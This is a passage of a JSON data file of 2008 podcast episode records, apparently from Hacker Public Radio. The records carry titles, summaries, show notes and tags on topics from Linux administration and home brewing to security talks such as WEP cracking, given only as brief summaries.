Party!!","duration":304,"summary":"The Tech Music series presents the track 'Landline Party!!'","notes":"check out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, techno, technology, telephone, modem","version":0,"downloads":1720,"valid":1}, {"id":121,"date":"2008-06-17","title":"Linguistic Public Radio","duration":271,"summary":"The first appearance of Linguistic Public Radio","notes":"Plexi talks about her new upcoming project.","hostid":57,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linguistic Public Radio,linguistics,linguistchat.org","version":0,"downloads":1982,"valid":1}, {"id":122,"date":"2008-06-18","title":"Batch processing on Linux","duration":328,"summary":"We look into an application for batching jobs in sequence or at a time, an email with the result.","notes":"Deepgeek discusses batch processing on a linux platform","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"debian,email,bash,at,applications","version":0,"downloads":2106,"valid":1}, {"id":123,"date":"2008-06-19","title":"Misunderstanding Privacy Part 1","duration":1147,"summary":"This covers the paper around internet privacy. If we don't have anything to hide, why secure it?","notes":"SSRN Paper
\nDaniel J. Solove
\nDrake Anubis
","hostid":58,"series":74,"explicit":1,"license":"CC-BY-NC-SA","tags":"privacy,terrorists,paper,internet,\"national security\",theory","version":0,"downloads":1616,"valid":1}, {"id":124,"date":"2008-06-23","title":"Digital Picture Frame","duration":761,"summary":"Encouraging listeners to create a DIY picture frame built from a very old laptop","notes":"\n https://i47.photobucket.com/albums/f197/mirovengi/2598843693_9ffee7e4c2_o.jpg
\n https://i47.photobucket.com/albums/f197/mirovengi/2598843655_b4fd44222f_o.jpg
\n\n https://i47.photobucket.com/albums/f197/mirovengi/2598843621_30287ffdc3_o.jpg
","hostid":48,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"DIY,maker,repurpose,hardware hacking","version":0,"downloads":2007,"valid":1}, {"id":125,"date":"2008-06-24","title":"Home Brew Part 1","duration":1953,"summary":"How to brew your own beer, part 1","notes":"Equipment needed for Home Brew:
\n\n8 Quart Pot
\nFermenting Vessel (glass or food grade plastic)
\nBottling Vessel (again, food grade plastic)
\nSiphon Hose & Bottling tool
\nSpoon
\nFunnel (if using a glass fermenter)
\nBottle capper\nbottles
\ncaps
\nsterilizing solution (c-Brite or B-brite)
\nHop Bag
\nThermometer
\nHydrometer
\nBeer Kit (ingredients)
\n\nLinks:
\n\n https://www.leeners.com
\n https://www.homebrewtalk.com ","hostid":90,"series":14,"explicit":1,"license":"CC-BY-NC-SA","tags":"beer,home brewing,fermenting,bottling,hops","version":0,"downloads":1976,"valid":1}, {"id":126,"date":"2008-06-25","title":"Ripping the Web","duration":864,"summary":"Looking into techniques how to rip webpages, security and applications.","notes":"operator explains how to rip content from websites.","hostid":36,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"whitelist,\"web pages\",curl,php,cookies,\"streaming media\",ripping,webx,filtering","version":0,"downloads":1305,"valid":1}, {"id":127,"date":"2008-06-26","title":"How to be Nosey on the Interwebz","duration":686,"summary":"Summary of presentation about how to listen to traffic on the network around you.","notes":"\nHow to be Nosey Presentation ","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"driftnet,nmap,ettercap,\"web traffic\",wireshark,summary","version":0,"downloads":9962,"valid":1}, {"id":128,"date":"2008-06-27","title":"Misunderstanding Privacy Part 2","duration":498,"summary":"Talking about different ways to define privacy.","notes":"Drake continues his series of Misunderstanding privacy.
\nSSRN Paper
\nDaniel J. Solove
\nDrake Anubis
","hostid":58,"series":74,"explicit":1,"license":"CC-BY-NC-SA","tags":"privacy,quotes,philosophy,definition","version":0,"downloads":1353,"valid":1}, {"id":129,"date":"2008-06-30","title":"Panama City Linux User Group Meeting","duration":4187,"summary":"This is a recording of the Panama City Linux User Group Meeting, with live coding.","notes":"PCLUG meeting notes 0058","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"windows vista\",\"linux group\",meeting,pclug,\"download party\",installation,\"command line\"","version":0,"downloads":1860,"valid":1}, {"id":130,"date":"2008-07-01","title":"Unhosing a spyware infected system","duration":917,"summary":"In this show, we talk about what we can do with a windows system when it can't be trusted anymore.","notes":"* Ad-Aware
\n* Spybot Search and Destroy
\n* Either AVG or Clam AV
\n* HijackThis
\n* Rootkit Revealer
\n* Autoruns
\n
\n* C Cleaner
\n* Disk Clean (part of Windows)
\n* Scan Disk (part of Windows)
\n* Defrag (part of Windows)
","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Virus,Spyware,Repair,Software","version":0,"downloads":2460,"valid":1}, {"id":131,"date":"2008-07-02","title":"Adding Stereo to a Computer","duration":1955,"summary":"Deepgeek talks about adding a Stereo to his Computer","notes":"\n\"Deepgeek talks about adding a Stereo to his Computer\"","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio,stereo,sound output,harmonic distortion,speakers,headphones,flac,lame","version":0,"downloads":1954,"valid":1}, {"id":132,"date":"2008-07-03","title":"OpenDNS","duration":850,"summary":"Rowinggolfer discusses how to set up and configure using OpenDNS.","notes":"","hostid":86,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"dns,\"domain name service\",\"site blocking\",\"dynamic ip updating\"","version":0,"downloads":1924,"valid":1}, {"id":133,"date":"2008-07-04","title":"Talk to Drake","duration":381,"summary":"Drake recommends the Shure 8900 microphone and invites listeners to talk to him on a show","notes":"Drake invites quiet listeners to come on the show and share their interests with him.","hostid":58,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Shure, microphone, invitation, participate, podcasting, correspondents","version":0,"downloads":1421,"valid":1}, {"id":134,"date":"2008-07-07","title":"Kernal Patching ","duration":1227,"summary":"Adding functions or patching issues in your kernel, this is the process.","notes":"Part 2 of the How to Build your own Kernal Series","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Building a Kernel","version":0,"downloads":1428,"valid":1}, {"id":135,"date":"2008-07-08","title":"LPI Ceritification Part 5 PCI Cards","duration":985,"summary":"Setup different PC expansion cards","notes":"\n

\nCommands Used:\n

\n
lspci -h|less\nlspci -n|less\nlocate pci.ids | less\nless 'locate pci.ids | head -1`\nlspci | less\nlspci -s 00:1d -v |less\nless /proc/pci\necho \"Read https://www.rt.com/man/pnpdump.8.html\"\nless /proc/interupts\nless /proc/ioports\nless /proc/iomem\nless /proc/dma\n
\n\n","hostid":30,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"LPI,lspci","version":0,"downloads":2030,"valid":1}, {"id":136,"date":"2008-07-09","title":"Intercepting Satellite Transmissions","duration":628,"summary":"Drake Anubis demonstrates the basic setups to decoding APT satellite transmissions.","notes":"Drake Anubis demonstrates the basic setups to decoding APT satellite transmissions. A detailed tutorial is available on his blog.","hostid":58,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"satellite,leo,noaa,photograph,photo,antenna,\"radio receiver\"","version":0,"downloads":1558,"valid":1}, {"id":137,"date":"2008-07-10","title":"July UCLUG Meeting","duration":8690,"summary":"This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.","notes":"dave yates as always records his UCLUG meeting ","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"bash,\"shell script\",coding,asterix,hashing,backup,regex,ubuntu","version":0,"downloads":1873,"valid":1}, {"id":138,"date":"2008-07-11","title":"Bee Soft Commander","duration":351,"summary":"Looking into Bee Soft which is a file manager similar to Midnight Commander.","notes":"Deepgeek talks about the light weight app Bee Soft commander","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"languages,\"file manager\",\"ftp client\",\"wipe files\",review","version":0,"downloads":2087,"valid":1}, {"id":139,"date":"2008-07-14","title":"Compiling a Kernel over the Nework with distcc","duration":1253,"summary":"Talking about setting up and compiling with distcc and the benefits over GCC or other options.","notes":"klaatu talks about compiling a Kernel over the network with distcc.","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Building a Kernel","version":0,"downloads":1445,"valid":1}, {"id":140,"date":"2008-07-15","title":"LPI Certification Part 6 Device Configuration","duration":729,"summary":"LPIC topic 1.101.6 — Configure Communication Devices","notes":"

Objective:

\n

\nCandidates should be able to install and configure internal and external communication\ndevices such as modems, ISDN adapters, and DSL switches. This objective includes\nverification of compatibility requirements (especially important if that modem is a\nwinmodem), necessary hardware settings for internal devices (IRQs, DMAs, I/O ports), and\nloading and configuring suitable device drivers. It also includes communication device and\ninterface configuration requirements, such as the correct serial port for 115.2 Kbps, and the\ncorrect modem settings for outbound PPP connection(s).\n

\n

Key files, terms, and utilities include:

\n
\n/proc/dma          Direct memory accessing channels in use\n/proc/interrupts   Interrupts in use\n/proc/ioports      I/O ports in use\nsetserial(8)       Configure serial port access for an internal modem\n
\n\n","hostid":30,"series":7,"explicit":1,"license":"CC-BY-NC-SA","tags":"LPI,modems,ISDN,DSL","version":0,"downloads":1468,"valid":1}, {"id":141,"date":"2008-07-16","title":"Tech Music: Tele-Datu boogie","duration":253,"summary":"The Tech Music series presents the track 'Tele-Datu boogie'","notes":"check out his other tracks at:
\nhttps://www.zombie.el.cx/music/
","hostid":82,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, technology, telephone","version":0,"downloads":1360,"valid":1}, {"id":142,"date":"2008-07-17","title":"Home Brew Part 2 - Bottling and Fermentation Fun","duration":1748,"summary":"How to brew your own beer, part 2","notes":"jelkimantis' part 2 of his home brewing adventures","hostid":90,"series":14,"explicit":1,"license":"CC-BY-NC-SA","tags":"beer,home brewing,fermentation,bottling","version":0,"downloads":1512,"valid":1}, {"id":143,"date":"2008-07-18","title":"Open GPS Tracker","duration":2609,"summary":"Informal talk about open source hardware and the open GPS tracker, sending commands to the phone.","notes":"\n https://opengpstracker.org
\n https://www.opengpstracker.org/wordpress/
\n\n \nhttps://www.opengpstracker.org/phpBB3/
\n\n\n https://www.ladyada.net/make/usbtinyisp/index.html ","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"open source\",hardware,firmware,diy,\"micro controllers\",robots,cellphone,GPS,flashing","version":0,"downloads":1351,"valid":1}, {"id":144,"date":"2008-07-20","title":"Death Note","duration":473,"summary":"Review of the anime series 'Death Note'","notes":"deepgeek talks about Death Note anime","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"review, anime, adult theme, thriller, recommended","version":0,"downloads":7393,"valid":1}, {"id":145,"date":"2008-07-21","title":"Stop smoking","duration":516,"summary":"A show to encourage you to give up smoking","notes":"The one step plan to stopping smoking: Don't smoke another one.\n \nAudio for the record scratch by Halleck\n\nhttps://www.freesound.org/samplesViewSingle.php?id=29938
\n https://creativecommons.org/licenses/sampling+/1.0
","hostid":30,"series":100,"explicit":1,"license":"CC-BY-NC-SA","tags":"self-help, stop smoking, health","version":0,"downloads":1379,"valid":1}, {"id":146,"date":"2008-07-22","title":"MC Smedley","duration":420,"summary":"The Tech Music series presents another track from MC Smedley","notes":"another track by MC Smedley","hostid":89,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"music, rock","version":0,"downloads":1292,"valid":1}, {"id":147,"date":"2008-07-23","title":"New DNS vunerablity","duration":317,"summary":"miro talks about a current DNS vulnerability","notes":"miro talks about the new DNS vunerablity","hostid":48,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"DNS, security, vulnerability, internet, domains","version":0,"downloads":1285,"valid":1}, {"id":148,"date":"2008-07-24","title":"LinuxFest","duration":1380,"summary":"Talking about Linux and the community, and how it's to go to LinuxFest.","notes":"LinuxFest
\nOhio LinuxFest;
\nOntario LinuxFest;
\nSoutheast LinuxFest.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linuxfest,linux,geek,community","version":0,"downloads":1924,"valid":1}, {"id":149,"date":"2008-07-25","title":"DynamicDNS","duration":1492,"summary":"klaatu talks about dynamic DNS including a walkthrough for no-ip.com","notes":"klaatu talks about dynamic dns","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"DNS, dynamic, ssh, security, remote access","version":0,"downloads":1548,"valid":1}, {"id":150,"date":"2008-07-28","title":"Debloat Windows","duration":678,"summary":"In this episode, we talk about how to remove unwanted software from your windows machine.","notes":"Cybercod explains how to debloat a windows install disk\n\n","hostid":91,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"bloat,\"service packs\",tweeks,\"customized install\",drivers","version":0,"downloads":2042,"valid":1}, {"id":151,"date":"2008-07-29","title":"Copyfight Vol 1","duration":700,"summary":"Threethirty talks about the basics of DRM, licensing, copyright and copyleft.","notes":"\n https://www.freesound.org/
\n\n https://www.creativecommons.org
","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyfight,copyright,licensing,drm","version":0,"downloads":1376,"valid":1}, {"id":152,"date":"2008-07-30","title":"Pulse Audio Intro","duration":2034,"summary":"We discuss what Pulse Audio is and how it works in Linux, talking to the kernel and drivers.","notes":"

Klaatu interviews Kajarii about Pulse Audio.

\n

Pulse Audio Website

\n

Since I'll be listening to this episode in OGG format, I figured I'd post the ogg version in case anyone else wants it. --klaatu

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"fedora,cohost,\"linux kernel modules\",priority,realtime,pulseaudio,\"sound server\"","version":0,"downloads":2288,"valid":1}, {"id":153,"date":"2008-07-31","title":"What is an algorithm","duration":242,"summary":"This is a definition of what an algorithm is and how it's used.","notes":"

What is an algorithm?

\n

Review Question:

\n

Try answering the follow review question by leaving a comment or answering it in your head. If you want you can even write it down on paper.

\n

Write an algorithm for your morning routine. From the time the alarm clock rings until you leave the house for work or school.

\n

If you're like me and do not have a job try writing an algorithm on how to write a resume.

\n

Recommended Reads

\n

https://en.wikipedia.org/wiki/Algorithm

\n

https://en.wikipedia.org/wiki/Euclid's_algorithm

\n

https://computer.howstuffworks.com/question717.htm

\n

https://www.wisegeek.com/what-is-an-algorithm.htm


\n

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 License

","hostid":38,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"algorithms,definition","version":0,"downloads":2256,"valid":1}, {"id":154,"date":"2008-08-01","title":"Linguistic Public Radio Episode 0","duration":529,"summary":"The second episode of Linguistic Public Radio","notes":"Plexie introduces her new site, forum, irc channel and podcast.
\n Linguist Chat Home page
\noffical irc channel: linguistchat.org #Linguistchat
\n LinguistChat Forum ","hostid":57,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linguistic Public Radio,linguistics,linguistchat.org","version":0,"downloads":1822,"valid":1}, {"id":155,"date":"2008-08-04","title":"Installing Xubuntu","duration":725,"summary":"Experience of installing Xubuntu and if it's easier to use than Ubuntu.","notes":"Xoke talks about installing Xubuntu","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Install","version":0,"downloads":2293,"valid":1}, {"id":156,"date":"2008-08-05","title":"FRS/GMRS Walkie Talkie Review","duration":984,"summary":"Reviewing walkie talkie units, how it actually works, and what features they have. Also nostalgia.","notes":"Deepgeek reviews FRS/GMRS walkie-talkies from Radio Shack\n(He also waxes nostalgic about CB radio.)","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"walkie talkie\",GPRS,\"base stations\",privacy,license,freebanding","version":0,"downloads":2431,"valid":1}, {"id":157,"date":"2008-08-06","title":"New Hackermedia Content","duration":352,"summary":"Talking about new releases of hacker media. Ending with a \"there will be giants\" release.","notes":"Some new Hackermedia\n
\n\n
\n\n\n\nThe Hacker Voice Digest Issue 3\n
\n\n Download
\n\n\n\n Rough guide to number stations - Part 3 By Demonix\n
\n History of BT Strowger Systems - By Belial\n
\n List of interesting phone numbers - Blue_Chimp\n
\n VoIP spectacular with 10nix and Belial\n
\n Hacking Vonage - Belial\n
\n Easy Peasy ID theft - Hyper\n
\n Urban Exploration - BT exchanges\n
\n Rants\n
\n News\n
\n Interviews
\n\n and a fuckton more!......\n
\n\n\n
\n\n\n\nCitizen Engineer\n
\n\n\n\n Website\n
\n\n\nLadyAda\n
\n\n https://www.adafruit.com
\n https://www.ladyada.net/
\n\n\nPhil Torrone\n
\n https://www.makezine.com/
\n\n\n https://www.makezine.com/pub/au/Phillip_Torrone

\n\nThey Might Be Giants, Friday Night Video Podcast\n
\n\n\n\n Video
\n\n\n\n \nMaking of
\n\n\n\n\n Rss Feed
\n\n\n\n\n\n\n Lyrics \n","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"hacker media\",\"citizen engineer\",\"video podcast\"","version":0,"downloads":1183,"valid":1}, {"id":158,"date":"2008-08-07","title":"EC LUG July 31 Meeting","duration":3994,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"audio from EC Lug meeting on july 31 2008","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,installation,\"community size\",licensing,\"public domain\",\"source hosting\"","version":0,"downloads":1291,"valid":1}, {"id":159,"date":"2008-08-08","title":"Basic Electronics","duration":1853,"summary":"A light hearted discussion of basic digital electronics, covering the seven types of logic gates.","notes":"Digital & Analog
\n\nThe 7 Logic Gates
\n\n\n\n\nFrom Nand to Tetris in 12 Steps ","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"electronics,batteries,\"low voltage\",\"logic gates\",digital,\"direct current\",dc,ttl,\"transistor transistor logic\"","version":0,"downloads":1978,"valid":1}, {"id":160,"date":"2008-08-11","title":"DVgrab","duration":816,"summary":"Ken walks us through moving off DV tapes to disk","notes":"

Links

\n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"dvgrab,archiving","version":0,"downloads":1351,"valid":1}, {"id":161,"date":"2008-08-12","title":"Hacking WEP","duration":1455,"summary":"Talking about the fragmentation attack for hacking WEP, demonstrating by example.","notes":"finux explains just how insecure WEP is ","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"wep,hacking,fragmentation,vulnerabilities,isp,security,tutorial","version":0,"downloads":1527,"valid":1}, {"id":162,"date":"2008-08-13","title":"Webkit","duration":1058,"summary":"We are talking about an article in the Linux journal about packaging a webpage in an application.","notes":"\nJza, Andymeows, and riddebox have a improvised discussion about an article in the \nJuly issue of Linux Journal, called \"Using Webkit In Your Desktop Application.\" pg 54 - 58.\n
\n\nLinux Journal = www.linuxjournal.com
\nhttps://en.wikipedia.org/wiki/WebKit
\n
\nWhat is webkit?
\nIt has a LGPL license
\nWebkit is an open source application framework that provides \na foundation upon which to build a web browser.\nIt was originally \nderived from the konqueror browser's khtml software library by Apple Inc. for use in Safari.\nYou can use Designer to create a nice gui and use the classes for QtWebKit inside it. \nWhich means that you can drag and drop forms and create the gui real fast. \nThe best part of QtWebKit is that you can pull stuff from the internet for you applications. \nIn the article they created an app that will download the pdf files from past issues for you. With a nice search feature for their website. \n
\nExamples of applications using Webkit:
\nAdium
\nColloquy
\nMSN Messenger
\nMac OS X's Dashboard
\nThe IPhone uses it as well
\n","hostid":94,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"linux journal\",cohost,\"webpage application\",webkit,javascript,qt","version":0,"downloads":1265,"valid":1}, {"id":163,"date":"2008-08-14","title":"Circuit Bending","duration":826,"summary":"Morgellon method in which audio circuit are modified to make new sounds","notes":"

HPR Circuit Bending

\n\n\n\n

Circuit bending is the creative, DIY (Do It Yourself) short-circuiting of electronic devices such as low voltage, battery-powered guitar effects, children's toys and small digital synthesizers to create new musical instruments and sound generators. Emphasizing spontaneity and randomness, the techniques of circuit bending have been commonly associated with noise music, though many more conventional contemporary musicians and musical groups have been known to experiment with \"bent\" instruments. Circuit benders remove the rear panel and connect circuits on a trial and error basis. More experienced benders use a soldering iron and add other components such as potentiometers, resistors or capacitors, which creates an even broader range of sounds.

\n","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Circuits,Audio,Synthesizer,Music,Soldering","version":0,"downloads":1129,"valid":1}, {"id":164,"date":"2008-08-15","title":"Copyfight Vol 2","duration":304,"summary":"Threethirty talks about freeing your DRM'ed music, licensing, copyright and copyleft.","notes":"threethiry continues his copyfight series","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Music,DRM,Copyright,Copyfight,Licensing","version":0,"downloads":1169,"valid":1}, {"id":165,"date":"2008-08-18","title":"Expressive Programming Part 1","duration":1026,"summary":"Part 1 of the Expressive Programming series","notes":"

\n\nIn this series UberChick discusses programming as an art form, as a means of\nself-expression\n\n

\n\n

uberchick's first installment of her expressive programming series

\n","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":1310,"valid":1}, {"id":166,"date":"2008-08-19","title":"10 Minute Mail","duration":391,"summary":"I talk about a 10-minute mail address. It creates an email address that you have for 10 minutes.","notes":"

\n10 Minute Mail
\nOgg Version of this Episode

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"web service\",registration,verification,reply","version":0,"downloads":1294,"valid":1}, {"id":167,"date":"2008-08-20","title":"UCLUG august Meeting","duration":6457,"summary":"This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.","notes":"upstate carolina linux user group august meeting","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"file handling\",newsclip,perl,installation,germany,\"open source\",linuxfest","version":0,"downloads":1168,"valid":1}, {"id":168,"date":"2008-08-22","title":"EC LUG August 14 Meeting","duration":6024,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC LUG meeting for august 14","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"shellscript,mailserver,ubuntu,\"video viewers\",\"user experiance\"","version":0,"downloads":1221,"valid":1}, {"id":169,"date":"2008-08-23","title":"Steganography","duration":1205,"summary":"Steganography is the technique of hiding secret data within an ordinary file or message.","notes":"deepgeek dicusses steganography","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"ascii text\",secret,cryptography,hiding,tooling,images,\"source code\"","version":0,"downloads":2899,"valid":1}, {"id":170,"date":"2008-08-25","title":"Resetting Windows Passwords","duration":470,"summary":"In this episode, I talk about how to reset Windows NT passwords in Linux.","notes":"finux discusses a tool that allows you to reset windows passwords","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Windows NT\",linux,\"harddrive password\",tooling,installation,\"sam password\"","version":0,"downloads":1399,"valid":1}, {"id":171,"date":"2008-08-26","title":"AVID 101","duration":346,"summary":"Talking about Advancement Via Individual Determination. A way to help students prepare for college.","notes":"jelkimantis discusses a program called AVID
\n\n \nshownotes ","hostid":90,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"history,suburbs,schools,urban,\"working hard\",advancement,determination","version":0,"downloads":1935,"valid":1}, {"id":172,"date":"2008-08-27","title":"fluxbox tabbed windows","duration":551,"summary":"Talking about the tab feature in Fluxbox, lightweight window manager for Linux.","notes":"dave yates discusses fluxbox's tabbed windows feature","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"tabs,fluxbox,\"window manager\",xterm,titlebar","version":0,"downloads":1850,"valid":1}, {"id":173,"date":"2008-08-28","title":"Configuring Pulse Audio","duration":1434,"summary":"Talking about how to install and configure Pulse Audio from an article written for archlinux.","notes":"

Klaatu and notJlindsay discuss Pulse Audio and how to configure it so it doesn't bork your system. One thing Klaatu fails to mention is that before you try any of this, you should just run whatever software updates may be available for your OS. Pulse configuration and compatability seems to be improving rapidly over time, so many thing may \"fix themselves\" by simply making sure your distro is up to date.

\n\n

Wiki Article
\nthe ogg version of this episode

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"wiki,archlinux,pulseaudio,article,plugins,alsa,esound,gnome,kde","version":0,"downloads":1332,"valid":1}, {"id":174,"date":"2008-08-29","title":"VIM is my IDE","duration":1580,"summary":"Jrullo goes through a basic setup and use of Vim as an IDE.","notes":"\nDjango:
\nThis Week in Django\n
\n\n\n \nVIM
\n\n\n SnippetsEMU
\n\n\nNerd tree
\n\n taglist
\n\n\nadd to ~/.vimrc for shortcuts
\n\nTaglist shortcut line:
\n\nnnoremap :TlistToggle
\n\n\nNERDtree shortcut line:
\nnnoremap :NERDTree
\n\n\nNotes:
\n*.vba is a vimball file\nopen a .vba file and follow the instructions. once in the file type :so % and hit enter to run the .vba file. that should install the vim scripts into your ~/.vim directory. it's always a good idea to run the unzip or .vba files from the directory you want to install them into, as you may come across scripts in the future that assume that's were you are.
\n
\ndefault Debian/Ubuntu setting file is here:
/usr/share/vim/vim71/debian.vim\nyours may be under vim70 or something else depending on your version\nthe global /etc/vim/vimrc runs the debian.vim file \n

\nSnippetsEMU notes:
\nopen any SOMELANGUAGE_snippets.vim file to see examples of how to setup a snippet. once snippets are installed, open a file with vim and type a snippet phrase followed by hitting the key and the phrase should be replaced with the bits from the snippet file.
\n
\n\nNERD tree notes:
\n
\n\nnormal vim keyboard keys work in the NERD tree window.
\n:NERDTree starts it
\nq from the NERDtree window quits
\nu for up a level
\nt for down a level (traverse)
\n:help NERDTree for extensive command help
\n
\nTaglist notes:
\nnormal vim keyboard keys work in the taglist window.
\ntaglsits are cumulative, meaning that as you open different files in the same vim session taglist creates a new taglist tree for new files you edit.\n:TlistOpen starts\n:TlistToggle toggles between opening and closeing the taglist window\nF1 for help\nq quits/closes taglist window\n
\n\n\n\nLodgeit Pastebin for VIM
\nNERDCommenter for VIM
\neasily comment out lines and blocks of text inside code for many languages
\nhttps://www.vim.org/scripts/script.php?script_id=1218
","hostid":96,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"vim,programming,ide,configuration","version":0,"downloads":1599,"valid":1}, {"id":175,"date":"2008-09-01","title":"Sourcecast ep 00","duration":3255,"summary":"This is the SourceCast episode 0, a review of specific distros and general Linux talk.","notes":"original audio https://sourcecast.org/ ","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"humor,distro,reviews,software,mandrake,apache,gentoo,openoffice,java,debian,mysql,qt,\"web browsers\",wine","version":0,"downloads":1126,"valid":1}, {"id":176,"date":"2008-09-02","title":"EC Lug August 21 Meeting","duration":7849,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC Lug August 21 Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"alarm clock\",ubuntu,\"soft radio\",automation,robot,music,\"reuse machines\"","version":0,"downloads":1448,"valid":1}, {"id":177,"date":"2008-09-03","title":"Rhythmbox Streaming","duration":327,"summary":"Streaming audio with Rhythmbox","notes":"weex talks about streaming audio with Rhythmbox ","hostid":98,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio,streaming,sharing,windows,data,itunes","version":0,"downloads":1302,"valid":1}, {"id":178,"date":"2008-09-04","title":"Google Chrome","duration":861,"summary":"Talking about the current state of Google Chrome and a review of this new release.","notes":"\n download link
\nHere's a thread on the binrev forum all about Chrome:
\nhttps://www.binrev.com/forums/index.php?showtopic=38885
","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"firefox,release,chrome,features,searchbar,\"dynamic tabs\",incognito,privacy","version":0,"downloads":6734,"valid":1}, {"id":179,"date":"2008-09-05","title":"Hack This Site","duration":380,"summary":"Talking about \"Hack this Site\" where you can train skills and learn how to hack a site via missions.","notes":"Xoke talks about a legaltraining ground for hackers.
\n https://www.hackthissite.org/
","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Security,Hacker","version":0,"downloads":2213,"valid":1}, {"id":180,"date":"2008-09-08","title":"Beagle Board","duration":914,"summary":"In this episode, I talk about embedded boards and mainly the Beagle Board.","notes":" Beagle Board HQ
\n Wiki Info
\n\n\n\nHardware Info:
\n\n https://beagleboard.org/hardware
\n\n https://dkc1.digikey.com/us/mkt/beagleboard.html

\n\n\n\nBeagle Board Media:\n
\n https://beagleboard.org/media
\n\n https://dkc1.digikey.com/us/en/tod/Texas_Instruments/BeagleBoard/BeagleBoard.html
","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"low power\",review,features,graphics,embedded","version":0,"downloads":1907,"valid":1}, {"id":181,"date":"2008-09-09","title":"Setting up vsFTPD","duration":1574,"summary":"In this show we talk about how to setup an FTP server, configuring user accounts and folders.","notes":"

Klaatu talks about setting up an FTP server.

\n

vsFTPd site
\nogg version","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"security,configuration,ftp,history,anonymous,vsftpd","version":0,"downloads":1409,"valid":1}, {"id":182,"date":"2008-09-10","title":"LinuxMCE: Interview with Thomas Cherryhomes","duration":4647,"summary":"This is an interview with Thom Cherryhomes talking about lifetime CE setup and features.","notes":"LinuxMCE is a free, open source add-on to Kubuntu including a 10' UI, complete whole-house media solution with pvr + distributed media, and the most advanced smarthome solution available. It is stable, easy to use, and requires no knowledge of Linux and only basic computer skills.
\nLinks:
\n Home
\n Demo Videos:
\nIRC: irc.freenode.net #linuxmce
\n Ohio LinuxFest 2008 10.11.2008
\n SouthEast LinuxFest 6.13.2009
